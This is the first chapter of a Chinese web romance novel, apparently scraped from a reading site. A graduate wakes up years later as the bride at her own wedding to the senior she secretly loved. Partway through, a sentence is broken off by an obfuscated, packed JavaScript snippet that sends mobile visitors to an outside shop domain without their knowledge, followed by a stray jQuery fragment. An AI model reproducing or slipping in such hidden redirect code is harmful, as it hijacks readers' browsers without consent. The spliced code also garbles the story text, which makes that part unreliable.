第1章
文/山海泡泡
十月的秋风清凉,多日来的阴雨也散了,七号这天的晴空格外的好看,宜出行,宜嫁娶。江洲市最奢华靡丽的酒店也有一场顶级的婚礼,开始的确是诸事皆宜,只不过——
“你觉没觉得这气氛有点怪……”
“挺漂亮的新娘,就是不怎么爱笑,新郎也有点严肃……”
“诶新娘,新娘要倒了!”
谁要倒了?
夏耵耵猛地睁开眼睛,感觉整个脑袋重如千斤,抬手扶在额头上,刚才那几句莫名其妙的梦话,这会儿反倒更清楚了。
哪来的新娘?
她挣扎着爬起身,下意识去摸自己放在火车床铺里侧的手机,摸了个空不说,她瞪圆了眼睛看着四周的景象,用力揉了揉眼睛。
我火车卧铺呢?蹲了三天才抢到的呀!
此刻没有卧铺!连火车都没有!
这是在哪儿啊?怎么就到这来了?不不,这不科学,夏耵耵甩了甩脑袋,只能怀疑自己的梦还没醒。
就是这梦未免太真实了点儿。
看着满房间鲜艳无比的大红囍字,以及正对面墙上的“新婚快乐”,夏耵耵陷入了沉思。
这要是梦的话,她想梦个更大的——今天是夏耵耵和秦酩的婚礼!
不过也就是想一想。
她此刻应该在从江洲市开往老家清源的火车上,今天是江华大学2014级的毕业典礼。
早晨五点,舍友就摸黑爬下床,哈欠连天地把夏耵耵给晃起来。
一周前就准备好的碎花长裙和小高跟鞋就摆在眼前,夏耵耵却随手套了件白色T恤,一脚踩上帆布鞋,任由两位室友愕然地看着她。
凌诗意叫嚷着说:“你花大价钱买的装备可不能浪费!夏耵耵,之前说好的,今天不穿你是狗!”
夏耵耵毫无斗志:“我是狗。”
凌诗意错愕:“诶……你怎么了?”
另外一个室友兼闺蜜钟菲也挨过来,“耵耵……”
夏耵耵:“我已经买好了下午一点回清源的票,对不住你们,我先走一步。”
“秦酩学长……”凌诗意还要说,钟菲用眼神阻止了她。
秦酩学长是夏耵耵暗恋了四年的男神,男神有个青梅竹马。
听说今天晚上秦酩会在宿舍楼下跟对方表白。
鲜花和心形蜡烛听起来很土,可秦酩要表白的事应该是真的。
他前两天给夏耵耵发了信息,邀请她一定来见证他这一生中最重要的时刻。
夏耵耵觉得太残忍了,她暗恋了对方四年,还得见证对方追爱的成功时刻。
何况,青梅的姐妹团都看出夏耵耵居心不良,特意来警告她离秦酩远一点,秦酩那么聪明的人,或许也早就知道了。
夏耵耵怎么想都觉得自己像个沙比。
于是夏耵耵连忙抢订离开的车票,并给对方回复:【你!别!做!梦!】
秦酩打过来电话,夏耵耵拒绝了,那一刻,她圆满了。
她成功地做了第一个敢挂秦酩电话的女人。
她不只挂了一次。
她一连挂了三次!
她这么敢也是因为秦酩出差了,这两天都不在江洲。
预感到秦酩肯定要来活捉她算账,毕业典礼一结束夏耵耵蹿出礼堂就直奔宿舍,紧接着扛起行李箱就往火车站赶。
凌诗意都说:“跑这么快,是有鬼在追吗?”
鬼倒是没有,只有一个秦酩。
被鬼抓住顶多被吓一吓,被秦酩抓住就要看他跟别人表白!
综上,秦酩比鬼可怕多了。
幸好她都上了火车。
秦酩生气就生气吧,生气也还是帅的,不会影响他表白。
夏耵耵神游了这么半天,这梦也没有醒,她忍不住掐了把自己的大腿,这梦……嘶——疼啊!
草(一种植物)!
这特么不是梦啊!
夏耵耵震惊之余,下意识看向镜子。
里面的女人一身酒红色半袖礼服,领口处繁复的金色花纹,红底和金线的交织很有艺术感,整件礼服都透着一股贵气。
夏耵耵趴到镜子跟前。
这是我吗?
哦,还是挺像我的。
但好像比她漂亮了许多。
可她明明还在火车上啊,总不能是睡一觉被拐了吧?
正一头雾水,休息室的门被推开了。
推门的姑娘,穿着烟紫色的纱裙,两边的肩膀露出一小截,还挺好看的。
主要这姑娘长得有点像夏耵耵住了四年的大学室友凌诗意。
但凌诗意不喜欢穿裙子,也不可能这么淑女。
就这姑娘,在毕业典礼上跟夏耵耵右侧的女同学换了座,领导在上面讲,她在旁边小声讲。
弄得夏耵耵快精神分裂了。
她一半时间在骂徐诗羽,准确来说,是徐诗羽……那自作聪明的姐妹团。
另外一半的时间,她一直在怂恿夏耵耵要不留遗憾地去“抢亲”。
这一幕不过是三四个小时之前的事情,所以夏耵耵盯着对方看了好几眼,直到“变”了的凌诗意一个箭步冲到跟前,晃晃她:“你这什么表情?不会结个婚傻了吧?”
凌诗意后面还跟着一个,哦,这个也眼熟,夏耵耵不用怀疑,确定这人就是另一个室友钟菲。
“菲菲,诗意,”夏耵耵迟疑着说,“你们怎么会在这里?”
她不就是在火车上睡了个觉,怎么睡醒了就天翻地覆的感觉?
地点变了,她们也变了。
凌诗意翻了个白眼,摸了下手机:“拜托,今天你结婚,我们当然在了,你快点儿,学长还在外面送宾客呢。”
夏耵耵扫了眼对方的手机屏幕,不由睁大了眼睛。
2023年10月7日。
不是她以为的2018年6月19。
2023年?!
我真结婚了!!
那她挂秦酩电话、放秦酩鸽子就是几年之前的事情了,他现在应该不会翻旧账了吧!
意识到这点,夏耵耵蹭地站了起来,差点踩到礼服的裙摆,她一手提着裙摆,一手去扒拉红鞋上的扣。
这婚鞋才三厘米,礼服也不是夏耵耵心属的中式秀禾服,她自然是不满意的,只是眼下她没空管别的,她抓住凌诗意的手,着急问道:“秦酩呢?”
凌诗意把她按在梳妆台前,让化妆师再给补补妆:“你别急,他跑不了。”
夏耵耵重新站起来:“急,我很急。”
不都开始送宾客了吗?那他应该马上也要走了。
夏耵耵知道今天秦酩一定会来的,他答应过自己的,一定会来参加她的婚礼。
哪怕她鸽了秦酩……
暂时管不了别的,她得去见秦酩。
错过今天,以后都不会有机会了。
毕竟她道德水准不算低。
谁让他是秦酩啊……
夏耵耵在心底里叹气,那就……从明天开始做一个恪守妇道的老婆。
今天,她只是一个对秦酩心怀不轨的学妹。
她想应该没关系吧,只有好好跟过去告个别,才能重新开始新的人生嘛。
所以她现在甚至不关心自己到底嫁给了哪位学长,只关心秦酩在哪儿呢。
休息室门一打开,满堂宾客散了七七八八,还余下的要么是亲戚好友不着急走,要么是想借着大喜之日的风跟新郎官“聊聊”不想走的,这会儿都顺着动静看了过来。
今天的婚礼有些奇怪,新娘和新郎几乎都没怎么笑,可以理解为太紧张了,但就连双方长辈也不怎么热络。
新娘子挺好看的一张脸,不太有神采,透出些许病态,举手投足一副弱不禁风的样子,可或许……人家就喜欢这样的?
却也没成想这“弱不禁风”的新娘子都没坚持到婚礼结束,在台上就要晕过去,伴娘陪着去休息室了。
宾客们还是头一次遇到这样的,随即不知道哪里传来的一句“新娘子怀孕了”,大家这才恍然。
这休息好就是不一样,之前的病态几乎看不见了,取而代之的是双目熠熠生辉,瓷白的肌肤在灯光下发着光,整个人都明媚了起来。
夏耵耵脚步急切,凌诗意和钟菲压根撵不上她,慢了几步人都不知道跑哪儿去了。
礼服太长了,夏耵耵手提着两侧裙摆,一转身撞到了人,对方是一身绛紫色的国风改良
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135500|150070||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
旗袍,很有民国大小姐那种味道。
夏耵耵着急地道了歉就往前走,忽然又拐过头来,眨了两下眼睛:“姐姐,你可真好看。”主要是看着有几分眼熟,尤其那双桃花眼。
叶女士刚要吐出来的“怎么毛毛躁躁的”被压回嗓子眼儿,盯着夏耵耵瞅了又瞅。
转性了?
怎么这么点功夫,社冷转社牛了?
夏耵耵顾不得再欣赏美人,提着裙摆继续往前跑,跑了没几步,缓缓停了下来。
挨着门口的前厅处聚了好几个男士,因为婚礼的原因都穿着黑色西装,夏耵耵一眼就望到的那个男人修长的手指间夹着一根烟,偏头正要点。
夏耵耵的视线被他的手指扯着走,慢慢往上,是男人解开了两颗扣子的领口,看到一段冷白修长的脖颈。
利落的下颌线,高挺的鼻梁……不经意间透着一股淡淡疏离。
夏耵耵莫名地有点激动,她脑海里自动跳出青年时期温润端方的秦酩,和眼前成熟矜冷的秦酩比较了一番。
最后两个秦酩慢慢合成一体,就站在她面前不远的地方——
目之所及,心之所向。
夏耵耵暗暗骂了自己一句:没出息。
连挂秦酩三个电话的心虚都消失无影,此刻只迷失在对方的颜值里欲罢不能。
童话里的水晶灯,鲜花铺满的殿堂,夏耵耵深吸了两口气,再次提起脚步,如曾经暗恋的四年时光里的每一次一样,缓步上前,调整表情来藏住心事。
眼前这群人都是江华的校友,也是她和秦酩的共同好友。夏耵耵的目光转向离自己最近的学长,熟稔地打了声招呼,在对方猝不及防时,握手,勾着肩膀浅浅拥抱。
秦酩冷眸扫过来时,她流水作业一般握手、拥抱一气呵成。
夏耵耵微笑着让自己的表情看起来自然一点,她感觉自己快拥抱了一个篮球队,才蹭到了秦酩的跟前。
终于——
还是一套动作,夏耵耵伸手就抓住秦酩的手掌主动握住,心底更加兴奋了几分。
这是她离男神距离最近的一次了。
眼底的星火猝然燎原,好像一个盼了许久的梦终于要实现了,她控制不住地微红了脸,然后伸手给了秦酩一个拥抱。
而只有她自己和秦酩知道,这个拥抱带着的温度,是怎样的热烈。
夏耵耵还有些留恋地闻了下对方身上的气味,和她想象中一样,是有些清冽和冷木的味道。
她光顾着自己圆梦,也没注意到周围的气氛一下从嘻嘻变成了不嘻嘻。
刚才还喧闹的说笑声忽然就没有了,甚至于——好像连呼吸都没有了。
夏耵耵轻轻松开秦酩,一抬头对上秦酩深邃的眼底。
“怎、怎么了?”夏耵耵干巴巴地小声解释,“下次不知道什么时候再见了,就抱这一次,也是最后一次。”
秦酩刚皱起眉,就听她小小声道:“学长……”
夏耵耵表情认真到仿佛是在诀别:“我想了又想,还是不能给我老公戴绿帽子,精神上的也不行。”
秦酩的脸黑了三分。
她又踟蹰道:“所以,就这样吧,也祝你和徐女神早日修成正果……”
又或许他们早就修成正果了,只是现在的她“不知道”罢了,夏耵耵忍不住想。
秦酩的表情在这一瞬有些精彩,莫名、惊诧、迟疑、熟悉、混乱……的情绪在他的眼底一一闪过。
忙着准备婚礼,他已经连着多日没有休息好,而现在还听到了这么一番话。
他思考良久,都没猜透夏耵耵是在搞什么花样。
秦酩默了良久,开口:“我是不是该替你老公说声,谢谢?”
他压低声音:“但是夏耵耵——”
“我暂时没有要离婚的计划。”秦酩声音清冷,好像从牙缝里挤出来的一样。
夏耵耵:诶??
结婚典礼的VCR一直在大幕布上循环播放,结尾是一个巨大的红色爱心,接着就是一段红底黑字:
“喜今日两姓联姻,一堂缔约,良缘永结,匹配同称,贺秦酩先生&夏耵耵女士大婚,祝永结同心,百年好合!”
夏耵耵:?!
还真有这么大的梦!